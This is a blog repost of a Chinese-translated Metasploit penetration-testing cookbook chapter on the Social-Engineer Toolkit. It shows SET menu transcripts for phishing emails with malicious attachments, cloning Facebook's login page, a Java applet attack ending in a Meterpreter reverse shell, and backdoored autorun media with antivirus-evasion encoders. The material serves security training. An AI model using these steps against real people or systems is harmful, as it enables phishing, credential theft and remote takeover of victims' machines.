在之前的章节中，我们已经看到如何创建载荷，但由于大多数电子邮件系统不允许可执行文件，我们应该考虑使用不同类型的载荷嵌入到电子邮件的 HTML 内容中；例如，Java 小程序、Flash、PDF 或 MS Word/Excel 等。

如何做...

钓鱼攻击模块有三种不同的攻击向量供我们使用。让我们分析每一个。

1) Perform a Mass Email Attack
2) Create a FileFormat Payload
3) Create a Social-Engineering Template
99) Return to Main Menu

选择选项1将启动我们的大规模邮件攻击。攻击向量始于选择一个载荷。您可以从可用的 Metasploit exploit 模块列表中选择任何漏洞。然后，我们将被提示选择一个处理程序，可以连接回攻击者。选项将包括设置 vnc 服务器或执行载荷并启动命令行等。

接下来的几个步骤将是启动sendmail服务器，为恶意文件格式设置模板，并选择单个或大规模邮件攻击：

如何做...

最后，您将被提示要么选择像 Gmail 和 Yahoo 这样的已知邮件服务，要么使用您自己的服务器：

1\. Use a gmail Account for your email attack.
2\. Use your own server or open relay
set:phishing>1
set:phishing> From address (ex: moo@example.com):bigmoney@gmail.com
set:phishing> Flag this message/s as high priority? [yes|no]:y

设置自己的服务器可能不太可靠，因为大多数邮件服务都会进行反向查找，以确保电子邮件是从与地址名称相同的域名生成的。

让我们分析钓鱼攻击的另一个攻击向量。创建文件格式的载荷是另一个攻击向量，我们可以生成一个带有已知漏洞的文件格式，并通过电子邮件发送给目标进行攻击。最好使用 MS Word 的漏洞，因为很难检测它们是否是恶意的，所以它们可以作为附件通过电子邮件发送：

set:phishing> Setup a listener [yes|no]:y
[-] ***
[-] * WARNING: Database support has been disabled
[-] ***

最后，我们将被提示是否要设置监听器。它将启动 Metasploit 监听器，并等待用户打开恶意文件并连接到攻击系统。

电子邮件攻击的成功取决于我们所针对的电子邮件客户端。因此，对这种攻击向量进行适当的分析是必不可少的。

它是如何工作的...

如前所述，钓鱼攻击向量是一种针对特定用户的社会工程攻击向量。一封电子邮件从攻击机器发送到目标用户。电子邮件将包含一个恶意附件，该附件将利用目标机器上已知的漏洞，并为攻击者提供一个 shell 连接。SET 自动化了整个过程。社会工程在这里发挥的主要作用是建立一个对目标完全合法的情景，并愚弄目标下载恶意文件并执行它。

网站攻击向量

SET 的“web 攻击”向量是利用多种基于 Web 的攻击方式来 compromise 目标受害者的独特方式。这是迄今为止 SET 最受欢迎的攻击向量。它类似于浏览器自动攻击，可以向目标浏览器发送多个（或特定）攻击。它具有以下攻击向量：

1\. The Java Applet Attack Method
2\. The Metasploit Browser Exploit Method
3\. Credential Harvester Attack Method
4\. Tabnabbing Attack Method
5\. Man Left in the Middle Attack Method
6\. Web Jacking Attack Method
7\. Multi-Attack Web Method
8\. Return to the previous menu

在这个示例中，我们将讨论最流行的攻击向量，即 Java 小程序攻击方法。让我们看看如何使用 SET 执行这种攻击。

准备工作

要开始使用 Java 小程序攻击方法，我们必须选择第一个选项。然后在下一步中，我们将被提示选择网页设置。我们可以选择自定义模板或克隆完整的 URL。让我们看看克隆如何帮助我们执行攻击。

如何做...

目标用户将不得不访问渗透测试人员决定克隆的网站。因此，渗透测试人员应该明白，克隆站点不应该偏离实际站点的功能，即钓鱼站点。

要开始克隆选项，我们必须决定要克隆的 URL。让我们克隆 Facebook 登录页面并进一步进行：

1\. Web Templates
2\. Site Cloner
3\. Custom Import
4\. Return to the main menu
Enter number (1-4): 2
SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com
Enter the url to clone: http://www.facebook.com
[*] Cloning the website: https://login.facebook.com/login.php
[*] This could take a little bit...

一旦我们完成了克隆部分，我们将被提示选择一个有效载荷以及一个可以放置在目标机器上的后门。
完成这些步骤后，SET 网络服务器将启动，并且 msf 也将启动。Msf 将管理处理程序，一旦有效载荷被放置到目标机器中，将接收反向连接。
您可以在/pentest/exploits/set/src/web_clone/site/template找到您的克隆模板以及 jar。现在一旦目标用户访问克隆的网站（托管在假域名上），将弹出一个小程序消息，看起来完全是一个安全的警报消息：

现在一旦目标用户点击允许，恶意小程序就会被执行，并允许执行有效载荷。Metasploit 监听器将从目标机器接收到一个连接，因此我们将拥有一个活动会话：

[*] Sending stage (748544 bytes) to 192.168.56.103
[*] Meterpreter session 1 opened (192.168.56.103:443 ->
Thu Sep 09 10:06:57 -0400 2010
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 2988 created.
Channel 1 created.
Microsoft Windows XP [Version 6.1]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>

同样，我们也可以执行其他攻击。您可以看到 SET 如何轻松地为我们创建攻击向量，并为我们提供对我们的情景的完全控制。SET 的最好之处在于它可以让您在任何时候实施自己的修改和更改。

工作原理...

Java 小程序感染是一种常见的 Java 小程序漏洞，允许在受保护的沙箱环境之外执行小程序。未签名或不安全的小程序在受限制的系统资源访问权限的沙箱环境中执行。一旦恶意小程序在警告消息后被允许执行，它就获得了在目标机器上完全访问资源的特权，因为它现在处于沙箱环境之外。这允许小程序执行 Java 漏洞并允许远程代码执行。同样，其他基于网络的攻击向量使用浏览器将攻击传输到目标系统。社会工程再次在制造愚弄用户的情景方面发挥作用。攻击者可以在href标签下隐藏恶意链接，或者可以使用假签名对小程序进行签名，以使其看起来完全合法。SET 模板是设计攻击的良好来源。

多攻击网络方法

多攻击网络方法通过将多个攻击组合成一个攻击方法，将网络攻击提升到了一个新的水平。这种攻击方法允许我们将多个利用和漏洞组合到一个单一的格式中。一旦目标用户打开文件或 URL，每个攻击都会依次进行，直到报告成功的攻击。SET 自动化了将不同攻击组合成一个单一网络攻击方案的过程。让我们继续前进，看看这是如何完成的。

操作步骤...

多攻击网络方法与其他基于网络的攻击类似。我们首先选择一个模板，可以导入或克隆。不同之处在于下一步，我们可以选择可以添加到网络攻击中的各种利用。

选择要使用的攻击：

1\. The Java Applet Attack Method (OFF)
2\. The Metasploit Browser Exploit Method (OFF)
3\. Credential Harvester Attack Method (OFF)
4\. Tabnabbing Attack Method (OFF)
5\. Man Left in the Middle Attack Method (OFF)
6\. Web Jacking Attack Method (OFF)
7\. Use them all - A.K.A. 'Tactical Nuke'
8\. I'm finished and want proceed with the attack.
9\. Return to main menu.
Enter your choice one at a time (hit 8 when finished selecting):

我们可以选择不同的攻击，一旦完成，我们可以输入8，最后将所选的攻击组合成一个单一的向量。最后，我们将被提示选择有效载荷和后门编码器。

工作原理...

一旦选择了不同的攻击，SET 将它们与有效载荷结合起来，构建一个单一的恶意链接，现在需要进行社会工程。我们将不得不构建一个对目标用户看起来完全合法的模板，并迫使他访问恶意链接。一旦受害者点击链接，不同的攻击将依次尝试，直到成功发动攻击。一旦发现并利用了漏洞，有效载荷将为 Metasploit 监听器提供反向连接。

传染性媒体生成器

传染性媒体生成器是一种相对简单的攻击向量。SET 将创建一个基于 Metasploit 的有效载荷，为您设置一个监听器，并生成一个需要刻录或写入 DVD/USB 驱动器的文件夹。一旦插入，如果启用了自动运行，代码将自动执行并控制机器。

如何做到这一点...

这种攻击向量基于一个简单的原则，即生成恶意可执行文件，然后使用可用的编码器对其进行编码，以绕过杀毒软件的保护。

Name: Description:
1\. Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker.
2\. Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker.
3\. Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker.
4\. Windows Bind Shell Execute payload and create an accepting port on remote system.
5\. Windows Bind Shell X64 Windows x64 Command Shell, Bind TCP Inline
6\. Windows Shell Reverse_TCP X64 Windows X64 Command Shell, Reverse TCP Inline
7\. Windows Meterpreter Reverse_TCP X64 Connect back to the attacker (Windows x64), Meterpreter
8\. Windows Meterpreter Egress Buster Spawn a meterpreter shell and find a port home via multiple ports
9\. Import your own executable Specify a path for your own executable
Enter choice (hit enter for default):
Below is a list of encodings to try and bypass AV.
Select one of the below, 'backdoored executable' is typically the best.
1\. avoid_utf8_tolower (Normal)
2\. shikata_ga_nai (Very Good)
3\. alpha_mixed (Normal)
4\. alpha_upper (Normal)
5\. call4_dword_xor (Normal)
6\. countdown (Normal)
7\. fnstenv_mov (Normal)
8\. jmp_call_additive (Normal)
9\. nonalpha (Normal)
10\. nonupper (Normal)
11\. unicode_mixed (Normal)
12\. unicode_upper (Normal)
13\. alpha2 (Normal)
14\. No Encoding (None)
15\. Multi-Encoder (Excellent)
16\. Backdoored Executable (BEST)
Enter your choice (enter for default):
[-] Enter the PORT of the listener (enter for default):
[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
[-] Backdoor completed successfully. Payload is now hidden within a legit executable.
[*] Your attack has been created in the SET home directory folder "autorun"
[*] Copy the contents of the folder to a CD/DVD/USB to autorun.
[*] The payload can be found in the SET home directory.
[*] Do you want to start the listener now? yes or no: yes
[*] Please wait while the Metasploit listener is loaded...

它是如何工作的...

在生成编码的恶意文件之后，Metasploit 监听器开始等待反向连接。这种攻击的唯一限制是可移动媒体必须启用自动运行，否则将需要手动触发。

这种攻击向量在目标用户身后有防火墙的情况下可能会有帮助。现在大多数的杀毒程序都会禁用自动运行，这也使得这种攻击方式变得无效。渗透测试人员除了基于自动运行的攻击之外，还应确保提供一个带有后门的合法可执行文件/PDF 文件。这样可以确保受害者必然会执行其中一个有效载荷。

posted @ 2024-05-04 01:09 绝不原创的飞龙阅读(259) 评论(0) 编辑收藏举报

刷新页面返回顶部

登录后才能查看或发表评论，立即登录或者逛逛博客园首页

相关博文：

· 社会工程渗透测试教程（三）

· Kali-Linux-2018：Windows-渗透测试（全）

· BT5 2011.4.社会工程学.1.JAVA

· 【THM】Metasploit Exploitation(Metasploit利用)-学习

· THM-Metasploit

阅读排行：
· 无需6万激活码！GitHub神秘组织3小时极速复刻Manus，手把手教你使用OpenManus搭建本
· Manus爆火，是硬核还是营销？
· 终于写完轮子一部分：tcp代理了，记录一下
· 别再用vector＜bool＞了！Google高级工程师：这可能是STL最大的设计失误
· 单元测试从入门到精通

历史上的今天：
2022-05-04 Impatient JavaScript 中文版校对活动期待大家的参与
2022-05-04 ApacheCN 翻译/校对活动进度公告 2022.5.4
2022-05-04 非安全系列教程 NPM、PYPI、DockerHub 备份
2022-05-04 UIUC CS241 系统编程中文讲义校对活动 | ApacheCN

公告

Github：@wizardforcel

简书：@布客飞龙

微博：@布客飞龙

赞助我：

昵称：绝不原创的飞龙
园龄： 5年2个月
粉丝： 67
关注： 0

+加关注

2025年3月

日

一

二

三

四

五

六

龙哥盟

掠夺·扩张·投机·博弈

Metasploit-渗透测试秘籍（全）

Metasploit 渗透测试秘籍（全）

前言

本书内容

本书需要什么

本书适合谁

约定

注意

提示

第一章：安全专业人员的 Metasploit 快速提示

介绍

在 Windows 上配置 Metasploit

做好准备

如何做...

它是如何工作的...

注意

还有更多...

安装过程中的数据库错误

在 Ubuntu 上配置 Metasploit

准备工作

如何做...

它是如何工作的...

注意

还有更多...

安装过程中出现错误

Metasploit 与 BackTrack 5 的终极组合

准备工作

如何做...

它是如何工作的...

在单台机器上设置渗透测试实验室

准备工作

如何做...

它是如何工作的...

还有更多...

禁用防火墙和防病毒保护

安装虚拟盒增强功能

在具有 SSH 连接的虚拟机上设置 Metasploit

准备工作

操作步骤...

工作原理...

从接口开始，Metasploit 的“Hello World”

准备工作

操作步骤...

它是如何工作的...

还有更多...

一些要尝试并开始的命令

在 Metasploit 中设置数据库

准备就绪

如何做...

注意

它是如何工作的...

还有更多...

在连接数据库时出现错误

删除数据库

使用数据库存储渗透测试结果

准备工作

如何做...

工作原理...

分析数据库中存储的结果

准备工作

如何做...

工作原理...

第二章：信息收集和扫描

介绍

被动信息收集 1.0-传统方式

准备就绪

如何做...

工作原理...

还有更多...

使用第三方网站

被动信息收集 2.0-下一个级别

准备工作

如何做到...

它是如何工作的...

还有更多...

与 dorks 一起玩耍

端口扫描 - Nmap 方式

准备工作